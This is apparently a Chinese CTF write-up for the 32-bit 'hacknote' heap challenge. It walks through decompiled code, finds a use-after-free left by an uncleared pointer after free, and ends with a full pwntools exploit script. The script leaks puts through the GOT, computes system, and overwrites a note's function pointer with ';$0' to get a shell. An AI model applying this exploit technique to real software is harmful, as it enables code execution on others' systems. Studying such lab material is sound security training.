HACKNOTE-UAF&system函数调用
是一个32位选单程序主功能和开启的保护如下
首先看add_note 部分
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( counter <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++counter;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
分配流程大致为 首先分配个大小为8的内存,分别存放着函数0x0805862B和存放note的地址
分配大小随意的地址内存放着note 效果如下
继续看delete_note部分
unsigned int delete_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= counter )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]); // 野指针
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
free的指针没有清空。
再看打印函数
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= counter )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}
执行0x0805862B函数参数为其地址,而0x0805862B函数功能为打印后面的note内容。
int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}
由于存在野指针,我们可以先分配两个内存大小为32的note,这样一共删除4个堆,再分配一个内存大小为8的note,于是我们就可以修改note0打印函数所执行的函数或者打印的内容,首先我们修改打印内容为puts的got表地址以此来获取system地址
之后我们执行system函数,但是system函数的参数为存放system函数地址本身这样肯定不行
但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以将content位置覆盖成 ‘;$0\x00’.
最后EXP如下
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
p=process('./hacknote')
elf=ELF('./hacknote')
def add_note(size,payload):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(payload)
def delete_note(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def show_note(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
#leak libc
add_note(32,'aaaa')#0
add_note(32,'bbbb')#1
delete_note(0)
delete_note(1)
payload=p32(0x0804862b)+p32(elf.got['puts'])
add_note(8,payload)#2
show_note(0)
puts_got=u32(p.recv(4))
print hex(puts_got)
#get system_addr
libc=LibcSearcher('puts',puts_got)
libcbase=puts_got-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
#get_shell
delete_note(2)
payload1=p32(system_addr)+';$0\x00'
add_note(8,payload1)
#gdb.attach(p)
show_note(0)
p.interactive()